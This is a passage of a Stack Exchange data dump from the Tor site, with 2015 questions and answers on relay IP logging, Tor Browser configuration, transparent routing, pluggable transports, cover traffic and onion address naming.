enough.&lt;/p&gt;&#xA;" OwnerUserId="7913" LastEditorDisplayName="user6671" LastEditDate="2019-02-21T22:34:32.373" LastActivityDate="2019-08-08T22:12:51.947" Title="Can tor nodes (entry, exit, others) store IPs?" Tags="|relays|deanonymization|protocol|ip-address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7276" PostTypeId="1" CreationDate="2015-07-20T12:26:21.367" Score="1" ViewCount="236" Body="&lt;p&gt;If you don't know already, you can use Adblock Plus scripts to modify how &lt;a href=&quot;https://facebook.com/&quot; rel=&quot;nofollow&quot;&gt;https://facebook.com/&lt;/a&gt; works. And you can even do things to improve your privacy, such as disabling the &quot;message seen&quot; feature that people receive if you have viewed their messages in chat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering why I can't get these scripts to work with the &lt;a href=&quot;https://facebookcorewwwi.onion/&quot; rel=&quot;nofollow&quot;&gt;Facebook's onion&lt;/a&gt; version as well, since they are apparently the same site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Onion sites are special &quot;hidden&quot; sites that can only be accessed using the Tor Network. If you aren't familiar with Tor and hidden sites you may not be able to help much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go to the preferences of AdBlock plus in the Tor browser and&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add new custom filter group&lt;/li&gt;&#xA;&lt;li&gt;add new filter &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are the two filters I tried adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;facebook.com/ajax/mercury/change_read_status.php$xmlhttprequest www.facebook.com/ajax/mercury/change_read_status.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the onion version, I just would replace &lt;code&gt;facebook.com&lt;/code&gt; with &lt;code&gt;facebookcorewwwi.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the link to block:  &lt;a href=&quot;http://www.popsugar.com/tech/How-Turn-Off-Seen-Facebook-35857900&quot; rel=&quot;nofollow&quot;&gt;How to disable &quot;Seen by&quot; in Facebook chat&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing appears to operate differently on the onion Facebook and I don't see any hits on the filters in Adblock Plus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is another script that hides the &quot;message seen&quot; for Facebook, however I think it is for greasemonkey. If you think you can convert it to adblock somehow, take a look. &lt;a href=&quot;https://github.com/ldiqual/facebook-read-status-disabler&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ldiqual/facebook-read-status-disabler&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make this simple: Need to disable message seen using adblock plus on facebook's onion site (facebookcorewwwi.onion)&lt;/p&gt;&#xA;" OwnerUserId="7916" LastEditorUserId="88" LastEditDate="2015-07-20T21:10:30.337" LastActivityDate="2015-07-20T21:10:30.337" Title="Facebook's onion site and Adblock Plus" Tags="|onion-services|add-on|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7279" PostTypeId="1" CreationDate="2015-07-20T16:18:10.307" Score="0" ViewCount="505" Body="&lt;p&gt;So how do I do this in MacOS Yosemite and Windows 7 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the previous windows releases Tor wasn't running in the background so I could just close the app and run it again. But in the new version when I start the app it stays in the background and I only see it in Task Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same happens in MacOS, it's only visible in the terminal if I use &quot;ps&quot;. Is &quot;killing&quot; it the only way?&lt;/p&gt;&#xA;" OwnerUserId="7917" LastActivityDate="2016-06-15T02:50:51.987" Title="How to assign new identity when using the &quot;advanced&quot; version?" Tags="|windows|identity-change|mac|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7280" PostTypeId="2" ParentId="7279" CreationDate="2015-07-20T17:03:37.770" Score="0" Body="&lt;p&gt;For your MacOS related query, from the terminal you can send Tor a &lt;a href=&quot;https://apple.stackexchange.com/questions/103610/what-does-hup-do-when-used-with-killall&quot;&gt;HUP&lt;/a&gt; signal to re-read its config files and create a new circuit without actually killing the process: &lt;code&gt;killall -HUP tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the following thread for a similar discussion: &lt;a href=&quot;https://stackoverflow.com/questions/16987518/how-to-request-new-tor-identity-in-terminal&quot;&gt;https://stackoverflow.com/questions/16987518/how-to-request-new-tor-identity-in-terminal&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2015-07-20T17:03:37.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7281" PostTypeId="2" ParentId="7275" CreationDate="2015-07-20T18:14:32.283" Score="0" Body="&lt;p&gt;After reading this page &lt;a href=&quot;https://www.torproject.org/eff/tor-legal-faq.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/eff/tor-legal-faq.html.en&lt;/a&gt; including the paragraph on Should I snoop on the plaintext traffic that exits through my Tor relay? (regarding exit nodes) Which begins: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You may be technically capable of modifying the Tor source code or installing additional software to monitor or log plaintext that exits your relay.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see any reason why someone who owns a relay (including middle nodes and entry guards) wouldn't be able to keep a log of the IP addresses of the next and previous nodes (they do know what they are after all). Even if it is not something that can be done by default (I don't know whether it is) the source code is open and can be modified by any user with the knowledge. However if the adversary only owns one node on the circuit then they would be unable to deanonymize you. If they own the exit node and you are not using end to end encryption then they might still be able to deanonymize you by the content of the packets they are able to sniff as they are sent and received from the website you are visiting (but that is beyond this question). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you have pointed out if all the nodes are owned by the adversary then it would be trivial for them to deanonymize you. Tor does not protect you from every attack that could be used to identify you and new vulnerabilities are being found and patched all the time. I recommend you acquaint yourself with the various vulnerabilities and ways to stay safe when using Tor and It is up to you to decide whether Tor provides adequate protection for your needs. The Tor website is probably the best place to find the information you require. This is a reasonable place to start &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AnonymityAndSecurity&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#AnonymityAndSecurity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A word on VPNs; Though they can provide an extra layer of security, you also need to be extremely careful as to which VPNs you trust as they could also be the weakest link in the chain. If you don't acquire a VPN anonymously, then they can pose even more of a threat to your privacy. Properly and anonymously implemented they could be helpful but you need to put in the work and research the topic very thoroughly.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastActivityDate="2015-07-20T18:14:32.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7282" PostTypeId="1" AcceptedAnswerId="7286" CreationDate="2015-07-20T18:30:08.223" Score="1" ViewCount="148" Body="&lt;p&gt;Can I add additional SOCKSPORT entries using Tor Controller?  I looked through control-spec.txt and could only find examples of reading the current SOCKSPORT using GETCONF.&lt;/p&gt;&#xA;" OwnerUserId="7918" LastEditorUserId="88" LastEditDate="2015-07-21T10:55:28.347" LastActivityDate="2015-10-19T12:36:16.260" Title="Add SocksPort using Tor Controller?" Tags="|configuration|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7283" PostTypeId="2" ParentId="7275" CreationDate="2015-07-20T21:01:20.037" Score="0" Body="&lt;p&gt;The Tor Project maintains an &lt;a href=&quot;https://2019.www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;overview page&lt;/a&gt;. There you'll find images on how Tor works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A99jp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A99jp.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.torproject.org/images/htw2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject.org&lt;/a&gt;)&lt;/sub&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice builds a connection to the first node in the network. This node can see (and store) Alice' IP address. She then asks the first node to extend the connection. So the first node sees Alice' address and the address of the second node. That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later Alice asks the second node via the first node to extend the circuit. So the second node just sees the address of the first node and the address of the last node. So this node doesn't know about Alice' IP address and thus can't store it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the same with the last node in the network. However there is a pitfall. If Alice is using plain text (like a HTTP-only page) the last node is able to inject some malware which reads out Alice' real IP address. So if the last node is an attacker and Alice uses some poorly secured browser, also the last node might be able to read her address through attacking her.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the design of Tor is that every node can see the IP address of the previous and the next node. You're right when all three parties play together they are able to de-anonymize the user. If all three nodes belong to the same party or if all three parties share their individual encryption keys, the anonymity of Alice is lost. At least for ca. ten minutes. After that Tor will use another circuit with other nodes and also all three nodes must play together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser shows you the three nodes it currently uses (click on the green onion). If you think that something is wrong and you don't want to investigate further, I'd recommend to use a &lt;code&gt;New Identity&lt;/code&gt;. Tor Browser will open a new connection and delete all old session data.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="14997" LastEditDate="2019-08-08T22:12:51.947" LastActivityDate="2019-08-08T22:12:51.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="7284" PostTypeId="2" ParentId="7275" CreationDate="2015-07-20T21:13:15.517" Score="2" Body="&lt;p&gt;What you say is true. This attack exists. If all the nodes are controlled by an attacker such an attack works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However Tor is designed to make it somewhat hard for one attacker to control all the nodes and really target and individual users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also explains why your client chooses and keeps an entry guard. Entry guards, entry points, so the first hops is something your Tor chooses when you start it the very first time. It tries to keep it. That way an attacker attacker (hopefully) gets only one chance to become your entry guard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of choosing a VPN it may be an alternative to set up your own Tor relay (it's really not hard) and have it be your first hop. That way an attacker will not know if you are the person that uses the middle node and the exit node. It could always be someone else. The more bandwidth you add to that relay the slimmer the more other possibilities (people) there are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also every Tor relay/guard node added to the Tor network makes a successful attack harder, more resource intense. There is the sybil attack where an attacker would set up a huge amount of relays to become Tor nodes at once. However, to receive the guard flag a node needs to be stable, &quot;fast&quot; and up and running for a while. This allows the Tor Project to react and for example manually get rid of them in the sense of flagging them in ways that they never end up being used. This actually has been done in the past.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-07-20T21:13:15.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7285" PostTypeId="2" ParentId="7261" CreationDate="2015-07-20T21:23:36.033" Score="1" Body="&lt;p&gt;You may want to use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;. If you use something like a router you should make sure you never have the PC that you use ever send any kind of information that relates to you. This can be extremely hard, especially if you didn't install a new operating system, etc. on that system and never set personally identifying information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also make sure that you do some checkups, like at least &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;Panopticlick&lt;/a&gt; to make sure you don't carry around information that distinguishes you from others, because in that case any small mistake and accidental leak of information could be disastrous, even for things you used that PC for in the past.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-07-20T21:23:36.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7286" PostTypeId="2" ParentId="7282" CreationDate="2015-07-20T22:14:09.133" Score="2" Body="&lt;p&gt;I gave it a shot, and it appears to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setconf SOCKSPORT=23999 SOCKSPORT=24999&#xA;250 OK&#xA;getconf SOCKSPORT&#xA;250-SocksPort=23999&#xA;250 SocksPort=24999&#xA;GETINFO net/listeners/socks&#xA;250-net/listeners/socks=&quot;127.0.0.1:23999&quot; &quot;127.0.0.1:24999&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7918" LastActivityDate="2015-07-20T22:14:09.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7289" PostTypeId="2" ParentId="7224" CreationDate="2015-07-21T07:00:43.303" Score="2" Body="&lt;p&gt;Really secure configuration would use 2 routers and 2 computers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;main home router&lt;/li&gt;&#xA;&lt;li&gt;intermediate router, just for guarding outside traffic and not let anything except TOR traffic pass through - I suggest using MikroTik or Cisco devices, because they give user complete control, without any creators, simplifying anything etc.&lt;/li&gt;&#xA;&lt;li&gt;Tor router - normal computer with full disk encryption and normal Linux distribution, configured as Tor router and firewall&lt;/li&gt;&#xA;&lt;li&gt;Tor workstation - another computer with full disk encryption and Linux distribution&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let me summarize:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for main and intermediate routers, I suggest either MikroTik (cheaper and enough) or Cisco (more expensive, bigger and more powerful devices)&lt;/li&gt;&#xA;&lt;li&gt;for computers, I suggest Debian or Ubuntu Linux, but any other distribution with big audience will be fine, if it allows full disk encryption - in general choose the distribution, that you know the best&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because both MikroTik/Cisco and Linux give you the complete control of what's going on inside router/computer, and give you the opportunity to use Tor in a really secure way, without leaving any chance for NSA to track you down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course they only give you the opportunity, but it's completely up to you to make a really secure configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when it comes to Tor activity, I wouldn't trust any device that has creator-based web interface, and for main Tor router, I wouldn't even trust MikroTik or Cisco, only normal computer with major Linux distribution installed by hand.&lt;/p&gt;&#xA;" OwnerUserId="7841" LastEditorUserId="88" LastEditDate="2015-07-21T10:52:29.643" LastActivityDate="2015-07-21T10:52:29.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7290" PostTypeId="2" ParentId="7238" CreationDate="2015-07-21T22:41:40.213" Score="2" Body="&lt;p&gt;The current version of the Tor browser (4.5) is based on Mozilla Firefox 31.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HPKP Were implemented in Firefox 36 according to &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning&quot; rel=&quot;nofollow&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;strong&gt;the current version doesn't support HPKP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the next one (based on Firefox 38) will probably support it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing : HPKP is not implemented as a cookie. It can be (mis)used as a &quot;super cookie&quot; (something that is NOT a cookie but can store information in a more durable way), in the same way than HSTS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next part is just speculation about the future implementation :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It will probably not be cleared after a restart&lt;/li&gt;&#xA;&lt;li&gt;If they used the HSTS preload list for HPKP preloading, it will be updated regularly (every one or two months) : &lt;a href=&quot;https://gitweb.torproject.org/tor-browser.git/log/security/manager/boot/src/nsSTSPreloadList.inc?h=tor-browser-38.1.0esr-5.x-1&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor-browser.git/log/security/manager/boot/src/nsSTSPreloadList.inc?h=tor-browser-38.1.0esr-5.x-1&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7925" LastEditorUserId="7925" LastEditDate="2015-07-27T00:14:36.210" LastActivityDate="2015-07-27T00:14:36.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7291" PostTypeId="2" ParentId="3769" CreationDate="2015-07-22T08:19:37.113" Score="1" Body="&lt;p&gt;If you want to stay safe using Tor, avoid 2 things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;exchanging any activities, files, disk devices etc. between Tor and non-Tor&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;having anything persistent across Tor sessions - eg. bookmarklets&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these increase the chance of rogue forces (NSA etc.) to deanonymize you using any correlation and/or watermarking attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to avoid that?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use separate computer and separate router for doing Tor activities&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;each Tor session should end with proper logging out from used services, and clearing cookies&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;each quarter/month/week/day destroy &amp;amp; rebuild all your Tor environment (how often, depends on risk level)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7841" LastActivityDate="2015-07-22T08:19:37.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7294" PostTypeId="1" CreationDate="2015-07-22T20:41:18.880" Score="1" ViewCount="189" Body="&lt;p&gt;Can someone help me? I downloaded Tor Browser for windows, it ran fine for a few hours then a error message saying &quot;The application was unable to start correctly (0xc0000022)&quot;. I'm not sure how to fix it.&lt;/p&gt;&#xA;" OwnerUserId="7932" LastActivityDate="2015-07-22T20:59:40.613" Title="Error Message for Tor Windows" Tags="|tor-browser-bundle|error|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-27T21:24:18.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="7295" PostTypeId="2" ParentId="7294" CreationDate="2015-07-22T20:59:40.613" Score="0" Body="&lt;p&gt;Try (temporarily) turning off any antivirus software you have installed. See the following threads for similar answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6587/error-message-the-application-was-unable-to-start-correctly-0xc0000022-when&quot;&gt;Error message &amp;quot;The application was unable to start correctly (0xc0000022).&amp;quot; whenever I try to open Tor&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4912/the-application-was-unable-to-start-correctly-0xc0000022&quot;&gt;The application was unable to start correctly (0xc0000022)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2015-07-22T20:59:40.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7296" PostTypeId="1" AcceptedAnswerId="7297" CreationDate="2015-07-22T21:46:45.887" Score="5" ViewCount="3461" Body="&lt;p&gt;I see that some websites such as &lt;a href=&quot;https://www.dan.me.uk/tornodes&quot; rel=&quot;noreferrer&quot;&gt;this one&lt;/a&gt; have a complete list of all tor relays. How do they dynamically find all of the relays in the tor network?&lt;/p&gt;&#xA;" OwnerDisplayName="user7782" LastActivityDate="2015-07-22T22:24:31.790" Title="How do I get a list of tor relays?" Tags="|relays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7297" PostTypeId="2" ParentId="7296" CreationDate="2015-07-22T22:24:31.790" Score="5" Body="&lt;p&gt;Most likely by using the &lt;a href=&quot;https://onionoo.torproject.org/&quot;&gt;Onionoo API&lt;/a&gt;, as used by tools like &lt;a href=&quot;https://atlas.torproject.org/&quot;&gt;Atlas&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-07-22T22:24:31.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7298" PostTypeId="1" AcceptedAnswerId="7300" CreationDate="2015-07-23T03:00:38.813" Score="-1" ViewCount="2107" Body="&lt;p&gt;Just would like to ask if its possible to route traffic through windows on TOR. I tried with the vidilia control panel but it seems that the support has been discontinued. Cannot find much information online as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="7934" LastActivityDate="2015-07-23T15:19:27.577" Title="Routing traffic through TOR" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="4" ClosedDate="2015-07-23T15:53:34.597" ContentLicense="CC BY-SA 3.0" />
  <row Id="7299" PostTypeId="2" ParentId="6486" CreationDate="2015-07-23T09:20:11.500" Score="0" Body="&lt;pre&gt;&lt;code&gt;vi /etc/apparmor.d/torbrowser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;find existing file/directory-access -related lines in that file, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;owner &quot;@${HOME}/Tor Browser/&quot; rw,&#xA;owner &quot;@${HOME}/Tor Browser/**&quot; rwk,&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add your own, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;owner &quot;/media/&quot; rw,&#xA;owner &quot;/media/**&quot; rwk,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then as a root:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/init.d/apparmor reload&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also change owner of said path to amnesia:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R amnesia:amnesia /media/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;done&lt;/p&gt;&#xA;" OwnerUserId="7935" LastActivityDate="2015-07-23T09:20:11.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7300" PostTypeId="2" ParentId="7298" CreationDate="2015-07-23T14:50:09.920" Score="2" Body="&lt;p&gt;There are some ways of doing this, one way is &lt;a href=&quot;https://github.com/CrowdStrike/Tortilla&quot; rel=&quot;nofollow&quot;&gt;Tortilla&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems#Windows-Whonix-Workstation&quot; rel=&quot;nofollow&quot;&gt;Whonix gateway&lt;/a&gt; can also be used for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A router with custom firmware that includes tor transparent routing.&#xA;&lt;a href=&quot;http://www.netgear.no/home/products/networking/wifi-routers/WNR3500L.aspx&quot; rel=&quot;nofollow&quot;&gt;WNR3500L&lt;/a&gt; router supports it through for example &lt;a href=&quot;http://tomatousb.org/&quot; rel=&quot;nofollow&quot;&gt;tomato USB firmware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A raspberry pi set up as &lt;a href=&quot;https://learn.adafruit.com/onion-pi/overview&quot; rel=&quot;nofollow&quot;&gt;onionpi&lt;/a&gt; can also route all traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or a second pc with for example Debian, installed as a middlebox for tor.&#xA;See &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;examples here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just keep in mind windows is not considered secure because it's closed source, and can leak in many ways, but still - to answer your question - yes it can be done.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2015-07-23T15:19:27.577" LastActivityDate="2015-07-23T15:19:27.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7301" PostTypeId="1" AcceptedAnswerId="7304" CreationDate="2015-07-23T22:08:56.697" Score="2" ViewCount="1610" Body="&lt;p&gt;One of the tactics discussed as a measure to defend against traffic correlation/timing attacks, is to have your Tor client sending traffic on a consistent basis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: If a client was always sending traffic 24x7, it would be more difficult to differentiate the user traffic from the benign traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools that do this or something similar? I'm looking for tools that could replay, generate, randomize, or simulate traffic going over a Tor client connection. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-24T11:58:08.580" Title="Are there any effective traffic generation tools" Tags="|security|client|python|network-adversary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7302" PostTypeId="2" ParentId="7191" CreationDate="2015-07-23T22:39:09.030" Score="3" Body="&lt;p&gt;Obfs3 and Obfs4 have a goal of &lt;em&gt;obscuring&lt;/em&gt; traffic so that it looks like arbitrary random data. Some environments have created policies such that if the protocol identified via deep packet inspection is unknown, block it. By design, obfs3/4 will never be fingerprinted as an existing protocol and therefore blocked these environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you attempted to telnet into the bridges, this is a cleartext communication that would have been allowed by such a firewall rule, but blocked if you attempted to send it random, unstructured data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meek on the other hand attempts to &lt;em&gt;hide&lt;/em&gt; traffic inside of existing communications to an HTTPS endpoint. The TBB comes with some builtin Meek endpoints that you can try. The only way that the university could block these communications would be to block access to Google and the other supported services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping that works. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-07-23T22:39:09.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7304" PostTypeId="2" ParentId="7301" CreationDate="2015-07-24T11:58:08.580" Score="0" Body="&lt;p&gt;This blog post might help &lt;a href=&quot;https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/experimental-defense-website-traffic-fingerprinting&lt;/a&gt; it's not specifically on correlation/timing attacks but it contains the following sentence:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the researchers point out that a Firefox addon that simply performs background HTTP requests concurrent to normal user activity was enough to foil their classifier.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I did some digging to see if I could find such an add-on and I found this. &lt;a href=&quot;http://www.instructables.com/id/How-to-generate-fake-traffic-using-the-Tor-Browser/&quot; rel=&quot;nofollow&quot;&gt;http://www.instructables.com/id/How-to-generate-fake-traffic-using-the-Tor-Browser/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using the Tor Browser go to the following Mozilla plug-in recourse center and download the reload every plug-in:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I went to the add-on page and typed in &quot;reload every&quot; and it was the first result. I haven't tried it yet but you can set a time (the minimum seems to be 5 seconds) and the add-on will reload the current page every set number of seconds. Opening something like Wikipedia in tab 1 and reloading every 5 seconds while you use other tabs for the tor traffic you are trying to protect seems like a decent way to use this. If you want to generate more traffic you should be able to make the add-on reload several tabs at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this is exactly what you are looking for but if it works like I expect, it should fall under the category of the &quot;replay traffic going through Tor&quot; part of your question. I couldn't find the name of the add-on that the blog post was referring to but perhaps there is an even better add-on that I didn't find.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastActivityDate="2015-07-24T11:58:08.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7305" PostTypeId="1" CreationDate="2015-07-24T12:50:13.020" Score="0" ViewCount="1893" Body="&lt;p&gt;So I already created a .onion site but I want to change my address to something else, that is more than just symbols. I tried using shallot but that is not working and when I tried to install or find scallion and eschalot it did not go well. Is there another way to do this?&lt;/p&gt;&#xA;" OwnerUserId="7943" OwnerDisplayName="theintern" LastActivityDate="2016-02-27T22:47:34.230" Title="Can I change my .onion address name?" Tags="|onion-routing|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
